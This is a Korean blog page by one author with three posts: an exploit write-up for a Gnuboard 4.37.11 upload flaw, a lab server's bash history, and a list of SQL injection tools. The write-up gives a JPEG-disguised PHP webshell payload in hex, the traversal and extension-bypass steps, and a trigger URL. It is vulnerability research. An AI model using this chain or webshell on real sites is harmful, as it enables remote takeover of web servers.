취약한 버전: 그누보드 4.37.11

해당 되는 파일: gnuboard4/cheditor5/imageUpload/upload.php

사용한 기술: 전역 변수 Overwrite, 웹쉘 업로드, 파일 삭제 취약점, 몇가지 Trick

종류: 원격 코드 실행

난이도: 중


파일 경로 : /gnuboard4/gnuboard4/cheditor5/imageUpload/upload.php

(1) common.php 의 @extract($_POST); 때문에 공격자는 자유롭게 $_FILES, $_SERVER 등의 글로벌 변수를 POST 요청을 통해 오버라이트 할 수 있습니다.
이미지의 크기가 지정되지 않았을 경우 파일을 삭제하는 루틴을 이용해서 업로드 디렉터리의 php 실행을 제한하는 분산 설정 파일을 삭제합니다. prefix 가 붙지만, PHP 일부 버전에서 상대 경로가 최적화 되는 트릭으로 이를 우회할 수 있었습니다.
send("_FILES[file][name]=bsaf/../../../foo.txt")

 

(2) magic_quotes_gpc 지정자는 임시파일 내용으로 포함된 쿼트에 대해 영향을 미치지 않기 때문에 "" 을 자유롭게 사용할 수 있습니다.
또한 getimagesize 변수는 단순히 이미지 파일의 특정 헤더값을 기반으로 크기를 판단하기 때문에 정상적인 이미지 형식이 아니더라도 통과가 가능합니다.

 

한편, 웹쉘 업로드시 코드 if (!preg_match("/.(gif|jpe?g|png)$/i", $savefile)) 에서 조건문은
gif, jpeg, png 등으로 끝나는 코드 만을 제한 합니다.
하지만 apache 웹서버는 도중에 php 가 들어가고 jpeg,png 처럼 알려진 확장자가 아닌 파일을 php 로 인식합니다.
test.php.fakepng 과 같은 파일은 php 로 파싱되어 우회가 가능합니다.


두가지 사실을 이용해서 해당 파일에 아래의 덤프를 내용으로 가지는 파일을 업로드 합니다.

 

웹쉘
[Hex]
FF D8 FF E0 00 10 4A 46 49 46 00 01 00 00 00 00 00 00 00 00 FF C0 00 41 3C 3F 70 68 70 20 70 72 65 67 5F 72 65 70 6C 61 63 65 28 22 2F 2F 65 22 2C 24 5F 47 45 54 5B 66 6F 6F 5D 2C 22 22 29 3B 3F 3E

[Dump]
yØya..JFIF..........yA.A<?php preg_replace("//e",$_GET[foo],"");?>

 

(3) 과정 (1) 에 의해 업로드 디렉토리에 대한 접근 제한은 해제 되었습니다. 

IE 는 파일의 내용이 이미지의 헤더로 시작할 경우 무조건 이미지로 판단을 하기 때문에 크롬 등에서http://222.106.225.108/gnuboard4/gnuboard4/data/cheditor4/1406/test.php.fakepng?foo=phpinfo()
와 같이 파일이 업로드 된 경로에 접근할 경우 원격 코드를 실행할 수 있습니다.

Posted by wakira
,

    1  ping www.naver.com

    2  ifconfig

    3  vi /etc/sysconfig/network-scripts/

    4  vi /etc/sysconfig/network-scripts/ifcfg-eth0 

    5  reboot

    6  ping www.naver.com

    7  ifconfig

    8  ls

    9  df

   10  wget

   11  wget ?

   12  wget -help

   13  wget --help

   14  yum install wget

   15  wget

   16  ls

   17  pwd

   18  yum -y install httpd

   19  cd /var/www/

   20  ls

   21  cd html/

   22  ls

   23  ls -al

   24  yum -y install system-config-firewall-tui

   25  system-config-firewall-tui 

   26  /etc/init.d/iptables stop

   27  vi /etc/selinux/config

   28  reboot

   29  yum -y install mysql

   30  yum -y install mysql-server

   31  ls

   32  cd /var/www/html/

   33  ls

   34  vi

   35  ls

   36  vi test.php

   37  service  vsftpd restart

   38  service  system-config-firewall-tuivsftpd restart

   39  system-config-firewall-tui

   40  export LC_ALL=C

   41  system-config-firewall-tui

   42  local

   43  locale

   44  python --version

   45  /etc/init.d/iptables restart

   46  service httpd start

   47  yum -y install php

   48  ls

   49  ls -al

   50  chomd 707 test.php 

   51  chmod 707 test.php 

   52  ls

   53  systemctl enable httpd.service  

   54  vi /etc/sysconfig/iptables

   55  iptables -I INPUT -p tcp --dport 80 -j ACCEPT

   56  /etc/init.d/iptables save

   57  /etc/init.d/iptables restart

   58  ls

   59  vi test.php 

   60  yum -y install php php-mysql php-gd php-pear

   61  systemctl restart httpd.service

   62  yum install systemctl

   63  service httpd restart

   64  vi /etc/php.ini

   65  mysql -uroot -p

   66  yum -y install mysql

   67  yum -y install mysql-server

   68  mysql 

   69  service mysqld start

   70  mysql -uroot -p

   71  /usr/bin/mysqladmin -u root password '1234'

   72  mysql -uroot -p

   73  ls

   74  cd ..

   75  ls

   76  wegt

   77  wget

   78  wget http://10.211.55.3/gnuboard4.utf8.4.37.31.(2015.07.29).tgz

   79  wget http://10.211.55.3/gnuboard4.tgz

   80  ls

   81  tar xvzf gnuboard4.tgz 

   82  ls

   83  mv html html2

   84  mv gnuboard4 html

   85  ls

   86  chmod 707 hyml

   87  chmod 707 html

   88  ls

   89  cd hyml

   90  cd html

   91  ls

   92  mkdir data

   93  chmod 707 data

   94  ls

   95  vi /etc/php.ini

   96  ls

   97  vi test.php

   98  service httpd restart

   99  ls

  100  cd ..

  101  ls

  102  rm gnuboard4.tgz 

  103  rm -rf gnuboard4.tgz 

  104  ls

  105  rm -rf html2

  106  ls

  107  rm -rf html/

  108  wget http://10.211.55.3/gnuboard4.utf8.4.34.15.2011.10.24.tgz

  109  ls

  110  tar cvxf gnuboard4.utf8.4.34.15.2011.10.24.tgz 

  111  history

  112* tar xvfz gnuboar

  113  ls

  114  mv gnuboard4 html

  115  chmod 707

  116  chmod 707 html/

  117  ls

  118  cd html/

  119  ls

  120  mkdir data

  121  chmod 707 data

  122  ls

  123  cd ..

  124  ls

  125* wget 

  126  wget http://10.211.55.3/nuboard4.utf8.4.34.15.2011.10.24.tgz

  127  wget http://10.211.55.3/gnuboard4.utf8.4.34.14.2011.10.05.tgz

  128  ls

  129  tar xvzf gnuboard4.utf8.4.34.14.2011.10.05.tgz 

  130  ls

  131  mv gnuboard4 html

  132  l

  133  ls

  134  chmod 707 html

  135  ls

  136  cd html

  137  ls

  138  cd ..

  139  ls

  140  mv html2 html15

  141  cd html

  142  ls

  143  mkdir data

  144  chmod 707 data

  145  ls

  146  cd data/

  147  ls

  148  ls -al

  149  cd file/

  150  ls

  151  cat index.php 

  152  ls

  153  cat index.php 

  154  cd g1`


;

exit

q

  155  ls

  156  cd g1a1/

  157  ls

  158  cd ..

  159  ls

  160  cd ..

  161  ls

  162  cd log/

  163  ls

  164  ca index.php 

  165  cat index.php 

  166  cd ..

  167  ls

  168  cd session/

  169  ls

  170  ls -al

  171  ls

  172  ls -al

  173  ls

  174  cd ..

  175  ls

  176  cd member/

  177  ls

  178  cd ..

  179  ls

  180  cd cheditor4/

  181  ls

  182  cd ..

  183  ls

  184  cd cheditor

  185  ls

  186  cd ..

  187  ls

  188  cd ..

  189  ls

  190  cd ..

  191  ls

  192  cd html15/

  193  ls

  194  cd data/

  195  s

  196  ls

  197  cd session/

  198  ls

  199  cd ..

  200  ls

  201  cd ..

  202  ls

  203  cd ..

  204  l

  205  ls

  206  mv html14

  207  mv html html14

  208  mv html15 html

  209  ls

  210  cd html

  211  l

  212  ls

  213  cd cheditor5

  214  cd popup/

  215  ls

  216  cd js/

  217  ls

  218  vi dialog.js 

  219  cat dialog.js 

  220  ls

  221  cd ..

  222  ls

  223  cd ..

  224  ls

  225  cd ..

  226  ls

  227  cd data

  228  ls

  229  cd cheditor

  230  ks

  231  ls

  232  cd ..

  233  ls

  234  cd cheditor

  235  ls

  236  cd ..

  237  ls

  238  cd cheditor4

  239  ls

  240  cd 1703/

  241  ls

  242  cd ..

  243  pwd

  244  ls

  245  cd file/

  246  ls

  247  cd g1a1/

  248  ls

  249  pwd

  250  ls

  251  ls -al

  252  ls

  253  ls -al

  254  ls

  255  cd ..

  256  ls

  257  cd ..

  258  ls

  259  cd ..

  260  ls

  261  cd cheditor5

  262  ls

  263  cd ..

  264  ls

  265  cd cheditor4

  266  ls

  267  cd example/

  268  ls

  269  vi textarea.html 

  270  ls

  271  cat textarea.html 

  272  ls

  273  vi textarea.html 

  274  ls

  275  cd ..

  276  ls

  277  cd ..

  278  l

  279  ls

  280  cd data

  281  ls

  282  cd cheditor4

  283  ls

  284  cd 1703/

  285  ls

  286  rm phpshell.php 

  287  ls

  288  pwd

  289  ls

  290  cd ..

  291  ls

  292  cd ..

  293  ls

  294  cd file/

  295  ls

  296  pwd

  297  ã…›ã…•ã…yum install phpMyAdmin

  298  yum install phpMyAdmin

  299  curl -s -I http://localhost/phpMyAdmin/ | head -3

  300  ls

  301  cd ..

  302  ls

  303  cd ..

  304  ls

  305  mkdir db

  306  ls

  307  cd db

  308  s

  309  wget https://files.phpmyadmin.net/phpMyAdmin/4.0.10.19/phpMyAdmin-4.0.10.19-all-languages.zip

  310  ls

  311  unzip ./phpMyAdmin-4.0.10.19-all-languages.zip 

  312  yum install unzip

  313  unzip ./phpMyAdmin-4.0.10.19-all-languages.zip 

  314  ls

  315  mv phpMyAdmin-4.0.10.19-all-languages ../phpMyAdmin

  316  ls

  317  cd ..

  318  ls

  319  cd db

  320  ls

  321  mv phpMyAdmin-4.0.10.19-all-languages.zip ../..

  322  ls

  323  cd ..

  324  ls

  325  cd html

  326  ls

  327  rm db

  328  rm -rf db

  329  ls

  330  cd phpMyAdmin/

  331  ls

  332  vi libraries/config.default.php 

  333  curl -s -I http://localhost/phpMyAdmin/ | head -3

  334  cd /etc/httpd/conf.d/

  335  grep 127.0.0.1 phpMyAdmin.conf

  336  ls

  337  yum install php-mbstring

  338  service httpd restart

  339  ls

  340  cd /var/www/

  341  ls

  342  cd html

  343  ls

  344  cd data/

  345  ls

  346  history > 1.txt


' > php' 카테고리의 다른 글

wordpress / ubuntu 16.04 설치  (0) 2017.04.01
페이지 이동  (0) 2014.05.29
Posted by wakira
,

sql injection 툴

SQL Injection 2017. 2. 28. 14:25

이중에서 sqlmap이 좋은거 같음.




안녕하세요.

 

조금 된 SQL 툴들 아래 나열합니다.

 

1. SQLIer 취약점이 있는 URL을 검사하고 사용자의 개입없이 SQL Injection 취약점을 익스플로잇하기 위해 필요한 정보를 점검합니다다운로드

2. SQLbftools 
블라인드 SQL Injection 공격을 사용하여 MySQL의 정보를 가져오는 시도를 하는 도구의 모음입니다다운로드

3. SQL Injection Brute-forcer - SQL Injection 
공격 취약점을 찾고 이를 이용하여 공격하는 자동화 도구입니다사용자가 작업하는 내용을 볼 수 있으며블라인드 SQL 인젝션을 이용합니다다운로드

5. SQL Brute - 
블라인드 SQL 인젝션 취약점을 사용하여 데이터베이스에서 데이터를 추출해내는 무작위 도구입니다. MS SQL 서버의 시간오류 기반으로 익스플로잇을 수행합니다오라클의 경우 오류를 기반으로 합니다이 프로그램은 Python으로 작성되었으며 멀티 스레드로 동작하며 표준 라이브러리를 사용합니다다운로드

5. BobCat - SQL Injection 
취약점의 잇점을 이용하는 감사 도구입니다사용자가 사용하는 애플리케이션이 액세스하는 테이블에서 데이터를 가져올 수 있습니다다운로드

6. SQLMap 
블라인드 SQL Injection을 자동으로 수행하는 도구로 phthon으로 개발되었다다운로드

7. Absinthe - GUI 
기반의 도구로 블라인드 SQL Injection 취약점에 이용하여 데이터베이스의 스키마와 목록을 자동화 과정으로 다운로드합니다다운로드

8. SQL Injection Pen-testing Tool - 
웹 애플리케이션에서의 취약점을 찾아 데이터베이스를 점검하도록 설계된 GUI 기반의 도구다운로드

9. SQID - SQL Injection Digger. 
웹 사이트의 통상적인 오류와 SQL Injection을 찾는 명령행 기반의 도구웹 페이지에서 SQL Injection 이 가능한 부분을 찾아내어 취약점을 입력하는 폼을 테스트한다다운로드

10. Blind SQL Injection Perl Tool - bsqlbf
 SQL Injection에 취햑한 웹 사이트에서 정보를 가져오도록 작성된 펄 스크립트다운로드

11. SQL Power Injection Injector - 
이 프로그램은 웹페이지에서 SQL 명령어를 삽입하는 테스트를 수행합니다멀티 스레드 방식으로 블라인드 SQL Injection 공격을 자동화하여 실행합니다다운로드 

12. FJ-Injector Framework - 
웹 애플리케이션에 SQL Injection 취약점이 있는지 검사하기 위해 디자인된 오픈 소스 무료 프로그램입니다. HTTP 요청을 가로쳐서 변경하기 위한 프록시 기능도 제공합니다. SQL Injection 익스플로잇을 자동화하여 수행합니다다운로드

13. SQLNinja - MS SQL 
서버를 백 엔드 데이터베이스로 사용하는 웹 애플리케이션의 SQL Injection 취약점을 익스플로잇하는 도구입니다다운로드

14. Automatic SQL Injector - SQLNinja
와 유사한 도구로오류 코드가 반환되는 SQL Injection 취약점을 자동으로 찾아 줍니다다운로드

15. NGSS SQL Injector - 
데이터베이스에 저장된 데이터를 액세스하기 위한 SQL Injection취약점을 이용하여 익스플로잇합니다. Access, DB2, Informix, MSSQL, MySQL, Oracle, Sysbase 등 다양한 데이터베이스를 지원합니다다운로드

'SQL Injection' 카테고리의 다른 글

blind sql injection - 기초  (0) 2017.02.28
Posted by wakira
,